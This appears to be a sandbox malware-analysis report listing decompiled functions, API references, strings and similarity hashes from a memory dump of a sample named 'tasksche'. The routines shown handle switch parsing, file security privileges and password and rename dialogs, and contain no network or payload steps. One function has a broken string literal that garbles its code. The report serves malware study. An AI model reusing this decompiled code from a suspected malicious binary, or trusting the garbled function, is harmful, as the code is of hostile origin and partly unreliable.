Part of subcall function 0041DEAB: __getptd.LIBCMT ref: 0041DEBA
Part of subcall function 0041DEAB: __getptd.LIBCMT ref: 0041DEC8

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: 5eb10d2cb4eb5e2da6c5453d1fe4c56248c4e16d68a7da2668f442ad0aab7930
Instruction ID: e3df1943845817192d3dafa627097d3dc4affc0cfff12b6418408f9c93a4c95a
Opcode Fuzzy Hash: 5eb10d2cb4eb5e2da6c5453d1fe4c56248c4e16d68a7da2668f442ad0aab7930
Instruction Fuzzy Hash: 9E1126B1D00209DFDF00EFA1C445AED7BB0FF04318F10806AF854AB251DB389A519B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040D64B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E0040D64B(void* __eflags, intOrPtr _a4) {
				signed int _v8;
				char _v2050;
				signed int _v2052;
				signed short _v2054;
				char _v2056;
				void* __ebx;
				void* _t19;
				void* _t21;
				void* _t24;
				void* _t27;
				void* _t30;
				WCHAR* _t36;
				void* _t37;
				void* _t38;

				_v8 = _v8 & 0x00000000;
				_t19 = E00410C58(__eflags, _a4,  &_v2056, 0x400);
				_t45 = _t19;
				if(_t19 == 0) {
					return _t19;
				} else {
					do {
						_v8 = _v8 + 1;
						if(_v8 != 1 && (_v2056 == 0x2f || _v2056 == 0x2d)) {
							_t24 = CharUpperW(_v2054 & 0x0000ffff) - 0x44;
							if(_t24 == 0) {
								_push(0x800);
								_push( &_v2052);
								_push(0x44187a);
								L22:
								E00410B9C();
								goto L23;
							}
							_t27 = _t24 - 1;
							if(_t27 == 0) {
								__eflags = CharUpperW(_v2052 & 0x0000ffff) - 0x4c;
								if(__eflags == 0) {
									__eflags = _v2050;
									if(__eflags == 0) {
										 *0x441879 = 1;
									}
								}
								goto L23;
							}
							_t30 = _t27 - 0xb;
							if(_t30 == 0) {
								E0040D033(0x800, 0x44387a,  &_v2052);
								goto L23;
							}
							if(_t30 != 3) {
								goto L23;
							}
							_t36 = CharUpperW(_v2052 & 0x0000ffff);
							if(_t36 == 0) {
								L15:
								 *0x441874 = 1;
								L16:
								 *0x44184a = 1;
								goto L23;
							}
							_t37 = _t36 - 0x31;
							if(_t37 == 0) {
								goto L15;
							}
							_t38 = _t37 - 1;
							if(_t38 == 0) {
								 *0x441874 = 2;
								goto L16;
							}
							_t59 = _t38 != 0x1e;
							if(_t38 != 0x1e) {
								goto L23;
							}
							_push(0x800);
							_push( &_v2050);
							_push(0x44287a);
							goto L22;
						}
						L23:
						_t21 = E00410C58(_t59, _t45,  &_v2056, 0x400);
						_t45 = _t21;
					} while (_t21 != 0);
					return _t21;
				}
			}

0x0040d654
0x0040d66a
0x0040d66f
0x0040d673
0x0040d77e
0x0040d679
0x0040d67f
0x0040d67f
0x0040d686
0x0040d6b1
0x0040d6b4
0x0040d750
0x0040d757
0x0040d758
0x0040d75d
0x0040d75d
0x00000000
0x0040d75d
0x0040d6ba
0x0040d6bb
0x0040d738
0x0040d73b
0x0040d73d
0x0040d745
0x0040d747
0x0040d747
0x0040d745
0x00000000
0x0040d73b
0x0040d6bd
0x0040d6c0
0x0040d724
0x00000000
0x0040d724
0x0040d6c5
0x00000000
0x00000000
0x0040d6d8
0x0040d6db
0x0040d705
0x0040d705
0x0040d70f
0x0040d70f
0x00000000
0x0040d70f
0x0040d6dd
0x0040d6e0
0x00000000
0x00000000
0x0040d6e2
0x0040d6e3
0x0040d6f9
0x00000000
0x0040d6f9
0x0040d6e5
0x0040d6e8
0x00000000
0x00000000
0x0040d6ea
0x0040d6f1
0x0040d6f2
0x00000000
0x0040d6f2
0x0040d762
0x0040d76b
0x0040d770
0x0040d772
0x00000000
0x0040d77a

APIs

CharUpperW.USER32(?,?,?,?,00000400), ref: 0040D6AC
CharUpperW.USER32(?,?,?,?,?,00000400), ref: 0040D6D3

Strings

z8D, xrefs: 0040D71F
-, xrefs: 0040D696

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CharUpper
String ID: -$z8D
API String ID: 9403516-4016828469
Opcode ID: 6e6643a8c5453ab08bb62a8daeba662149a01c951e73f69a55f52de3d79d5015
Instruction ID: 6cb870ea5eaa954c7fe556a8e422e29c236d8a0fbf71e72dd1f5d8a9bc66e192
Opcode Fuzzy Hash: 6e6643a8c5453ab08bb62a8daeba662149a01c951e73f69a55f52de3d79d5015
Instruction Fuzzy Hash: FE21A5B9C0011995DB60B7E98D48BBB66A8FB41304F144177E548B32D2EA7CDECC8B6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040680A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E0040680A(void* __ebx, void* __edx, void* __edi) {
				void* __esi;
				int _t24;
				int _t26;
				void* _t29;
				int _t32;
				void* _t34;
				struct _SECURITY_DESCRIPTOR* _t35;
				void* _t42;
				long _t43;
				struct _SECURITY_DESCRIPTOR* _t45;
				void* _t47;
				struct _SECURITY_DESCRIPTOR* _t51;

				_t42 = __edi;
				_t34 = __ebx;
				E0041A4DC(E004294DA, _t47);
				E0041AAF0(0x1010);
				_t45 = 0;
				 *(_t47 - 0x1c) = 0;
				 *((intOrPtr*)(_t47 - 0x18)) = 0;
				 *((intOrPtr*)(_t47 - 0x14)) = 0;
				 *((intOrPtr*)(_t47 - 0x10)) = 0;
				_push(0);
				_push(_t47 - 0x1c);
				 *((intOrPtr*)(_t47 - 4)) = 0;
				_t24 = E00402C8B( *((intOrPtr*)(_t47 + 8)), __edx);
				if(_t24 != 0) {
					__eflags =  *0x4335a2;
					if( *0x4335a2 == 0) {
						_t32 = E00406553(L"SeSecurityPrivilege");
						__eflags = _t32;
						if(_t32 != 0) {
							 *0x4335a1 = 1;
						}
						E00406553(L"SeRestorePrivilege");
						 *0x4335a2 = 1;
					}
					__eflags =  *0x4335a1;
					_push(_t34);
					_push(_t42);
					_t43 = 7;
					if( *0x4335a1 != 0) {
						_t43 = 0xf;
					}
					_t35 =  *(_t47 - 0x1c);
					_t45 = SetFileSecurityW;
					_t24 = SetFileSecurityW( *(_t47 + 0xc), _t43, _t35);
					__eflags = _t24;
					if(_t24 == 0) {
						_t26 = E0040A3DC( *(_t47 + 0xc), _t47 - 0x101c, 0x800);
						__eflags = _t26;
						if(_t26 == 0) {
							L11:
							_t28 =  *((intOrPtr*)(_t47 + 8)) + 0x1e;
							__eflags =  *((intOrPtr*)(_t47 + 8)) + 0x1e;
							_t29 = E0040639F(0x4f, _t28,  *(_t47 + 0xc));
							_t45 = 0x4335ac;
							E00401000(_t29);
							_t24 = E004062BA(0x4335ac, 1);
						} else {
							_t24 = SetFileSecurityW(_t47 - 0x101c, _t43, _t35);
							__eflags = _t24;
							if(_t24 == 0) {
								goto L11;
							}
						}
					}
					__eflags =  *(_t47 - 0x1c);
					_pop(_t42);
					_pop(_t34);
				} else {
					_t51 =  *(_t47 - 0x1c);
				}
				if(_t51 != 0) {
					_push( *(_t47 - 0x1c));
					_t24 = E0041A506(_t34, _t42, _t45, _t51);
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t47 - 0xc));
				return _t24;
			}

0x0040680a
0x0040680a
0x0040680f
0x00406819
0x0040681f
0x00406821
0x00406824
0x00406827
0x0040682a
0x00406830
0x00406834
0x00406835
0x00406838
0x0040683f
0x00406849
0x00406850
0x00406857
0x0040685c
0x0040685e
0x00406860
0x00406860
0x0040686c
0x00406871
0x00406871
0x00406878
0x0040687f
0x00406880
0x00406883
0x00406884
0x00406888
0x00406888
0x00406889
0x0040688c
0x00406897
0x00406899
0x0040689b
0x004068ac
0x004068b1
0x004068b3
0x004068c4
0x004068ca
0x004068ca
0x004068d0
0x004068d5
0x004068dc
0x004068e5
0x004068b5
0x004068be
0x004068c0
0x004068c2
0x00000000
0x00000000
0x004068c2
0x004068b3
0x004068ea
0x004068ee
0x004068ef
0x00406841
0x00406841
0x00406841
0x004068f0
0x004068f2
0x004068f5
0x004068fa
0x004068ff
0x00406907

APIs

__EH_prolog.LIBCMT ref: 0040680F

Part of subcall function 00402C8B: __EH_prolog.LIBCMT ref: 00402C90

SetFileSecurityW.ADVAPI32(00000000,00000007,?,?,?,?,00000000,?,00406EF5,?,?,?,?,0040773A,?,?), ref: 00406897
SetFileSecurityW.ADVAPI32(?,00000007,?,00000000,?,00000800,?,0040773A,?,?,?,?,?,00000000,0040839C,?), ref: 004068BE

Strings

SeSecurityPrivilege, xrefs: 00406852
SeRestorePrivilege, xrefs: 00406867

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: FileH_prologSecurity
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 2167059215-639343689
Opcode ID: 668843457d3f320ef4c041a0620e582976ae6b8cc17d27ec4e60122bb8f86131
Instruction ID: e80266907105dbdc6ea336272c15ef3f26093cba4c1f52b7c6092cd65192489b
Opcode Fuzzy Hash: 668843457d3f320ef4c041a0620e582976ae6b8cc17d27ec4e60122bb8f86131
Instruction Fuzzy Hash: 8D219372901259BEDF21AF55DC01BAF77689B04758F00803BF802B62C1C7BC8A559BAD

Uniqueness

Uniqueness Score: -1.00%

Function 0040E1B2 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 66
windowCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040E1B2(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, void* _a16) {
				void* _v4100;
				void* __ebx;
				struct HWND__* _t15;
				void* _t25;
				void* _t26;
				signed int _t27;
				signed int _t29;
				void* _t35;
				struct HWND__* _t38;
				void* _t40;
				void* _t41;

				E0041AAF0(0x1000);
				if( *0x44397a == 0) {
					_t15 =  *0x441844;
					_t38 = _t15;
					if(_a4 == 2 && IsWindowVisible(_t15) == 0) {
						_t38 = 0;
					}
					E0040A386(_t26, _a8, _a12,  &_v4100, 0x800);
					if( *0x44cf20 != 0 || DialogBoxParamW( *0x4335a4, L"GETPASSWORD1", _t38, E0040D477,  &_v4100) != 0) {
						_t25 = _a16;
						_t27 = 0x40;
						memcpy(_t25, 0x44ce20, _t27 << 2);
						_t41 = _t41 + 0xc;
						asm("movsw");
					} else {
						_t25 = _a16;
						E0040D033(_t25, _t25, 0x42a73c);
						 *0x44183c = 1;
					}
					if( *((char*)(_t25 + 0x100)) != 0) {
						_t40 = _t25;
						_t35 = 0x44387a;
						goto L11;
					}
				} else {
					_t25 = _a16;
					_t40 = 0x44387a;
					_t35 = _t25;
					L11:
					_t29 = 0x40;
					memcpy(_t35, _t40, _t29 << 2);
					asm("movsw");
				}
				return  *((intOrPtr*)(_t25 + 0x100));
			}

0x0040e1ba
0x0040e1c9
0x0040e1de
0x0040e1e3
0x0040e1e5
0x0040e1f2
0x0040e1f2
0x0040e206
0x0040e212
0x0040e24e
0x0040e253
0x0040e25b
0x0040e25b
0x0040e25d
0x0040e236
0x0040e236
0x0040e240
0x0040e245
0x0040e245
0x0040e266
0x0040e268
0x0040e26a
0x00000000
0x0040e26a
0x0040e1cb
0x0040e1cb
0x0040e1ce
0x0040e1d3
0x0040e26f
0x0040e271
0x0040e272
0x0040e274
0x0040e274
0x0040e280

APIs

IsWindowVisible.USER32(?), ref: 0040E1E8
DialogBoxParamW.USER32 ref: 0040E22C

Strings

GETPASSWORD1, xrefs: 0040E221
z8D, xrefs: 0040E1CE
z8D, xrefs: 0040E26A

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: DialogParamVisibleWindow
String ID: GETPASSWORD1$z8D$z8D
API String ID: 3157717868-3779298832
Opcode ID: 8a5930b9f1bd4a7920270691445133db6bb9d1af5357342886f90841ecad1a96
Instruction ID: 2ec29a5f94ea44b227bd1a9c17bea14e87d691145e51ce1093468d312523c58d
Opcode Fuzzy Hash: 8a5930b9f1bd4a7920270691445133db6bb9d1af5357342886f90841ecad1a96
Instruction Fuzzy Hash: B71159717002445BEB21DF62AC80B973B99AB08765F08007BFD446B2D1C7BC8CA0C76D

Uniqueness

Uniqueness Score: -1.00%

Function 0040D3EE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040D3EE(void* __eflags, struct HWND__* _a4, intOrPtr _a8, signed short _a12, WCHAR* _a16) {
				void* _t11;
				void* _t17;
				void* _t21;
				struct HWND__* _t22;
				WCHAR* _t23;

				_t23 = _a16;
				_t22 = _a4;
				if(E004060EE(_t21, _t22, _a8, _a12, _t23, L"RENAMEDLG", 0, 0) != 0) {
					L10:
					return 1;
				}
				_t11 = _a8 - 0x110;
				if(_t11 == 0) {
					 *0x44cf28 = _t23;
					SetDlgItemTextW(_t22, 0x65, _t23);
					SetDlgItemTextW(_t22, 0x66,  *0x44cf28);
					goto L10;
				}
				if(_t11 != 1) {
					L5:
					return 0;
				}
				_t17 = (_a12 & 0x0000ffff) - 1;
				if(_t17 == 0) {
					GetDlgItemTextW(_t22, 0x66,  *0x44cf28, 0x800);
					_push(1);
					L7:
					EndDialog(_t22, ??);
					goto L10;
				}
				if(_t17 == 1) {
					_push(0);
					goto L7;
				}
				goto L5;
			}

0x0040d3f2
0x0040d3f6
0x0040d411
0x0040d46e
0x00000000
0x0040d470
0x0040d416
0x0040d41b
0x0040d454
0x0040d461
0x0040d46c
0x00000000
0x0040d46c
0x0040d41e
0x0040d42a
0x00000000
0x0040d42a
0x0040d424
0x0040d425
0x0040d447
0x0040d44d
0x0040d430
0x0040d431
0x00000000
0x0040d431
0x0040d428
0x0040d42e
0x00000000
0x0040d42e
0x00000000

APIs

EndDialog.USER32(?,00000001), ref: 0040D431
GetDlgItemTextW.USER32 ref: 0040D447
SetDlgItemTextW.USER32 ref: 0040D461
SetDlgItemTextW.USER32 ref: 0040D46C

Strings

RENAMEDLG, xrefs: 0040D3FD

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ItemText$Dialog
String ID: RENAMEDLG
API String ID: 1770891597-3299779563
Opcode ID: 762bcebfea9f2beca08e3ffb6bbc5115bfac0753acb3b7587415e25b8287d6f5
Instruction ID: a809f9c23db95260371581c6ee5cd384337b37eb9584205a8113e0e6bfd29c9a
Opcode Fuzzy Hash: 762bcebfea9f2beca08e3ffb6bbc5115bfac0753acb3b7587415e25b8287d6f5
Instruction Fuzzy Hash: 6F01D836A4421877DB205F949C41FBB3B69E705F50F544036FA01B61D0C6BAA8269BAE

Uniqueness

Uniqueness Score: -1.00%

Function 00405F3C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E00405F3C(intOrPtr __ecx, void* __eflags) {
				void* __edi;
				void* __esi;
				intOrPtr _t31;
				void* _t33;

				E0041A4DC(E0042961B, _t33);
				_push(__ecx);
				_push("\xef\xbf\xb				_push(E00405E1B);
				_push(4);
				_t31 = __ecx;
				_push(0x12c);
				_push(__ecx);
				 *((intOrPtr*)(_t33 - 0x10)) = __ecx;
				E0041C6B6(__ecx, __eflags);
				_push("\xef\xbf\xb				_push(E00405E1B);
				_push(4);
				_push(0x178);
				_t22 = _t31 + 0x4b4;
				_push(_t31 + 0x4b4);
				 *((intOrPtr*)(_t33 - 4)) = 0;
				E0041C6B6(_t31, 0);
				 *((char*)(_t33 - 4)) = 1;
				E0040CA39(_t31 + 0xa9c);
				 *((intOrPtr*)(_t31 + 0xa98)) = 0;
				E0041A820(0, _t31, 0, 0x4b0);
				E0041A820(0, _t22, 0, 0x5e0);
				 *((intOrPtr*)(_t31 + 0x4b0)) = 0;
				 *((intOrPtr*)(_t31 + 0xa94)) = 0;
				E0041A820(0, _t31 + 0xba4, 0, 0x400);
				 *[fs:0x0] =  *((intOrPtr*)(_t33 - 0xc));
				return _t31;
			}

APIs

__EH_prolog.LIBCMT ref: 00405F41
_memset.LIBCMT ref: 00405FA4
_memset.LIBCMT ref: 00405FB0
_memset.LIBCMT ref: 00405FCE

Strings

r, xrefs: 00405F4A, 00405F66

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset$H_prolog
String ID: r
API String ID: 3013590873-3291565091
Opcode ID: adb95f05f7a194937a5df8f484bb6bf36145664ded8c6b0a2324601c3f7e7fd4
Instruction ID: fcb346f71e1c6521d09fa93fcec7134e0802dca7d1a5d7d76298086db4932847
Opcode Fuzzy Hash: adb95f05f7a194937a5df8f484bb6bf36145664ded8c6b0a2324601c3f7e7fd4
Instruction Fuzzy Hash: 880144B17417407AD220EB669C46FEBBAA8DB85B18F00041FB255661C2C7FC5941CA9D

Uniqueness

Uniqueness Score: -1.00%

Function 0041DAD4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0041DAD4(void* __edx, void* __esi, intOrPtr* _a4) {
				signed int _v8;
				intOrPtr _t11;
				intOrPtr* _t15;
				intOrPtr* _t19;
				void* _t23;
				void* _t25;

				_t24 = __edx;
				_t11 =  *((intOrPtr*)( *_a4));
				if(_t11 == 0xe0434f4d) {
					__eflags =  *((intOrPtr*)(E0041E9B4(_t23, __edx, _t25, __eflags) + 0x90));
					if(__eflags > 0) {
						_t15 = E0041E9B4(_t23, __edx, _t25, __eflags) + 0x90;
						 *_t15 =  *_t15 - 1;
						__eflags =  *_t15;
					}
					goto L5;
				} else {
					_t32 = _t11 - 0xe06d7363;
					if(_t11 != 0xe06d7363) {
						L5:
						__eflags = 0;
						return 0;
					} else {
						 *(E0041E9B4(_t23, __edx, _t25, _t32) + 0x90) =  *(_t16 + 0x90) & 0x00000000;
						_push(8);
						_push(0x42d8f0);
						E0041FA9C(_t23, _t25, __esi);
						_t19 =  *((intOrPtr*)(E0041E9B4(_t23, __edx, _t25, _t32) + 0x78));
						if(_t19 != 0) {
							_v8 = _v8 & 0x00000000;
							 *_t19();
							_v8 = 0xfffffffe;
						}
						return E0041FAE1(E00423F89(_t23, _t24, _t25));
					}
				}
			}

APIs

__getptd.LIBCMT ref: 0041DAEE

Part of subcall function 0041E9B4: __getptd_noexit.LIBCMT ref: 0041E9B7
Part of subcall function 0041E9B4: __amsg_exit.LIBCMT ref: 0041E9C4

__getptd.LIBCMT ref: 0041DAFF
__getptd.LIBCMT ref: 0041DB0D

Strings

csm, xrefs: 0041DAE7
MOC, xrefs: 0041DAE0

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$csm
API String ID: 803148776-1389381023
Opcode ID: ff76af2ab1f2bc655f60c8d28124db9f091a0a07b538bc98cf4441336e04e070
Instruction ID: 7ce874268d128f0e9cc5e4e4439fd54cca852ebc00a18d755191ea46e2ae681e
Opcode Fuzzy Hash: ff76af2ab1f2bc655f60c8d28124db9f091a0a07b538bc98cf4441336e04e070
Instruction Fuzzy Hash: 8EE048755141048FDB50976AC445FA93394EB48318F1504A7E80CC7353D77CE8C0558B

Uniqueness

Uniqueness Score: -1.00%

Function 00421BA7 Relevance: 7.5, APIs: 5, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E00421BA7(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x42d9d0);
				E0041FA9C(__ebx, __edi, __esi);
				_t31 = E0041E9B4(__ebx, __edx, __edi, _t35);
				_t15 =  *0x430da4; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E0041EFA3(_t25, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x430ca8; // 0x791698
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x430880;
								if(__eflags != 0) {
									_push(_t33);
									E0041A506(_t25, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x430ca8; // 0x791698
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x430ca8; // 0x791698
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E00421C42();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E00421495(_t29, _t31, 0x20);
				}
				return E0041FAE1(_t33);
			}

0x00421ba7
0x00421ba7
0x00421ba7
0x00421ba7
0x00421ba9
0x00421bae
0x00421bb8
0x00421bba
0x00421bc2
0x00421be3
0x00421be9
0x00421bed
0x00421bf0
0x00421bf3
0x00421bf9
0x00421bfb
0x00421bfd
0x00421c00
0x00421c06
0x00421c08
0x00421c0a
0x00421c10
0x00421c12
0x00421c13
0x00421c18
0x00421c10
0x00421c08
0x00421c19
0x00421c1e
0x00421c21
0x00421c27
0x00421c2b
0x00421c2b
0x00421c31
0x00421c38
0x00421bca
0x00421bca
0x00421bca
0x00421bcf
0x00421bd3
0x00421bd8
0x00421be0

APIs

__getptd.LIBCMT ref: 00421BB3

Part of subcall function 0041E9B4: __getptd_noexit.LIBCMT ref: 0041E9B7
Part of subcall function 0041E9B4: __amsg_exit.LIBCMT ref: 0041E9C4

__amsg_exit.LIBCMT ref: 00421BD3
__lock.LIBCMT ref: 00421BE3
InterlockedDecrement.KERNEL32(?), ref: 00421C00
InterlockedIncrement.KERNEL32(00791698), ref: 00421C2B

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 74e5199f409b0e250bccaee7949834ceac0f5e9eb7994a886cf19954e8f2a892
Instruction ID: 6d4d6cab2ca80c9586acdc371c3e58b42f7918e3e726cea937426c24952e9619
Opcode Fuzzy Hash: 74e5199f409b0e250bccaee7949834ceac0f5e9eb7994a886cf19954e8f2a892
Instruction Fuzzy Hash: 8401C439B40731ABC728AF56A40679E7760BF10724F94012BE804AB3A1CB3C6991DBDD

Uniqueness

Uniqueness Score: -1.00%

Function 00411E81 Relevance: 7.5, APIs: 5, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411E81(void* __eflags, short* _a4, short* _a8, int _a12) {
				void* _t8;
				int _t12;
				int _t22;
				int _t23;

				_t8 = E0041A7AF(_a4);
				_t22 = _a12;
				if(_t8 + 1 >= _t22) {
					_t23 = _t22;
				} else {
					_t23 = E0041A7AF(_a4) + 1;
				}
				if(E0041A7AF(_a8) + 1 >= _t22) {
					_t12 = _t22;
				} else {
					_t12 = E0041A7AF(_a8) + 1;
				}
				return CompareStringW(0x400, 0x1001, _a4, _t23, _a8, _t12);
			}

0x00411e89
0x00411e8e
0x00411e95
0x00411ea5
0x00411e97
0x00411ea2
0x00411ea2
0x00411eb3
0x00411ec1
0x00411eb5
0x00411ebe
0x00411ebe
0x00411ee0

APIs

_wcslen.LIBCMT ref: 00411E89
_wcslen.LIBCMT ref: 00411E9A
_wcslen.LIBCMT ref: 00411EAA
_wcslen.LIBCMT ref: 00411EB8
CompareStringW.KERNEL32(00000400,00001001,?,?,00000000,?,?,00000000,?,00409F60,__rar_,00000000,00000006,00000000,?,00000800), ref: 00411ED5

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcslen$CompareString
String ID:
API String ID: 3397213944-0
Opcode ID: a78696411e0fb58170a85e42f91a72465e9b1cb7d1a352a10a0ff52bf1fcbbb8
Instruction ID: fd224344e63f22d7e065bf6fa160c6ce473b51916626f6dd2966927fcf662de7
Opcode Fuzzy Hash: a78696411e0fb58170a85e42f91a72465e9b1cb7d1a352a10a0ff52bf1fcbbb8
Instruction Fuzzy Hash: 5FF02436148148BFDF126F92EC01CDE3F26DB81375B244027FE298A0A0D635C9A29789

Uniqueness

Uniqueness Score: -1.00%

Function 0040272E Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 405
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040272E(intOrPtr __ecx, signed int __edx) {
				signed int _t142;
				char _t143;
				void* _t147;
				signed int _t148;
				unsigned int _t149;
				signed int _t153;
				signed int _t170;
				signed int _t173;
				void* _t178;
